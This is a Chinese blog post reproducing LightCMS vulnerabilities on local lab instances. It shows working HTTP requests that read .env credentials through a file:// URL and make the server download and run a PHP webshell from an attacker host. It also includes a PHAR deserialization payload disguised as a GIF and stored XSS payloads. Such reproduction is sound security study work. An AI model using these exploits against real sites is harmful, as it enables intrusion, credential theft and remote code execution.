视频加载失败

lightCMS漏洞复现

641 字
3 分钟
lightCMS漏洞复现

LightCMS漏洞复现记录#

打某个比赛道心破碎了 所以自己复现一下

在本地进行测试 具体如下:

版本后台入口数据库承载漏洞
v1.3.4http://127.0.0.1:8093/admin/loginlightcms134CVE-2021-3355 存储型 XSS
v1.3.5http://127.0.0.1:8091/admin/loginlightcms135CVE-2021-27112 任意文件读 + 上传 RCE
v1.3.7http://127.0.0.1:8092/admin/loginlightcms137CVE-2023-27060 PHAR 反序列化 RCE
v1.3.11http://127.0.0.1:8090/admin/loginlightcmsCVE-2022-33009 PDF XSS / 正文存储型 XSS

漏洞复现#

1.后台弱口令#

用户名 admin,密码 admin

2.【v1.3.4/1.3.5】 任意文件读取 → 数据库管理员凭据#

漏洞代码(app/Http/Controllers/Admin/NEditorController.php):

public function catchImage(Request $request)
{
$files = (array) $request->post('file');
foreach ($files as $v) {
$extention = pathinfo(parse_url($v, PHP_URL_PATH), PATHINFO_EXTENSION);
$path = date('Ym') . '/' . md5($v) . '.' . ($extention == '' ? 'jpg' : $extention);
Storage::disk(config('light.neditor.disk'))
->put($path, file_get_contents($v)); // ← 用户可控 URL,任意协议
}
}

三个缺陷叠加:file_get_contents 不做协议/地址校验、落盘后缀取自 URL、落盘目录 public/upload/image 在 Web 根下。

过程:

  1. 登录后拿到Cookie发包:
POST /admin/neditor/serve/catchImage HTTP/1.1
Host: 127.0.0.1:8091
Content-Type: application/x-www-form-urlencoded
Cookie: <登录后的 Cookie>
file[]=file:///F:/lightCMS/range/v135/.env

看到响应 访问这个url 随后访问

看到数据库名称密码

并且可用

3. 【v1.3.4/1.3.5】 任意文件上传 → 远程代码执行#

原理类似上面那个漏洞 这次让服务器去下载一个 .php,它就会以 .php 落盘到 Web 目录,直接访问即执行

写个马 在本地起个服务 公网同理

随后访问即可

POST /admin/neditor/serve/catchImage HTTP/1.1
Host: 127.0.0.1:8091
Content-Type: application/x-www-form-urlencoded
Cookie: <登录后的 Cookie>
file[]=http://127.0.0.1:9000/shell.php

访问给出的url

成功

4.【v1.3.7】PHAR 反序列化 → RCE#

原理一句话:fetchImageFile() 把 curl 抓回的内容交给 Image::make($data); Intervention Image 的 isBinary() 用 finfo_buffer 判定纯 ASCII 为「非二进制」, 于是落到 isUrl(),而 filter_var($data, FILTER_VALIDATE_URL) 放行 phar://, 最终 initFromUrl() 执行 file_get_contents('phar://...') → 触发 PHAR metadata 反序列化。

POP 链(Laravel 6.x):

PendingBroadcast::__destruct()
→ Bus\Dispatcher::dispatch($event)
→ dispatchToQueue() // BroadcastEvent implements ShouldQueue
→ call_user_func($queueResolver, $connection) // = system('<命令>')

过程

准备一个恶意phar

Terminal window
$php = "D:\phpstudy_pro\Extensions\php\php7.4.3nts\php.exe"
$cmd = 'cmd.exe /c whoami > F:\lightCMS\pentest\phar_rce_137.txt 2>&1'
$b64 = [Convert]::ToBase64String([Text.Encoding]::UTF8.GetBytes($cmd))
& $php -d phar.readonly=0 "F:\lightCMS\pentest\phar_gen.php" "F:\lightCMS\range\v137" $b64 "F:\lightCMS\pentest\poc.gif"

输出确认 finfo mime : image/gif(stub 前置了 GIF89a,用来骗过图片校验)

cmd里的命令可以自行替换

随后上传这个phar

可以看到

响应是 {"list":[]}

5.【v1.3.11】存储型 XSS —— 文章正文原样输出#

步骤

resources/views/front/content/show.blade.php:83

{!! $content->content !!} <!-- 正文未转义 -->

步骤

直接在后台的编辑器里打会被吃掉 <script> 所以这里抓包后操作

正文内容:

<script>alert('stored-xss')</script><img src=x onerror=alert(1)>

新增后访问文章

6.【v1.3.4】CVE-2021-3355 敏感词管理存储型 XSS#

v1.3.5 / v1.3.7 / v1.3.11 已用 htmlspecialchars 转义

漏洞点:SensitiveWordRepository::list() 未调用 xssFilter(), noun/verb/exclusive 原样进入 JSON 列表接口,前端 layui table 按 HTML 渲染单元格

步骤

1.打开 /admin/SensitiveWords/create,在专有词(exclusive) 填:

</span><img src=1 onerror=alert(1) /><span>

2.提交后打开 /admin/SensitiveWords → 弹窗

支持与分享

如果这篇文章对你有帮助,欢迎分享给更多人或打赏支持!

打赏
lightCMS漏洞复现
https://blog.azkanna.cn/posts/lightcms/pentest/
作者
AzKanna
发布于
2026-09-29
许可协议
CC BY-NC-SA 4.0
Profile Image of the Author
AzKanna
Ciallo~(∠・ω< )⌒★
公告
欢迎来到我的博客!祝你有愉快的一天!Ciallo~(∠・ω< )⌒★
分类
标签
最新动态
站点统计
文章
19
分类
8
标签
15
总字数
47,136
运行时长
0 天
最后活动
0 天前
站点信息
构建平台
Local
博客版本
Firefly v6.16.4
文章许可
CC BY-NC-SA 4.0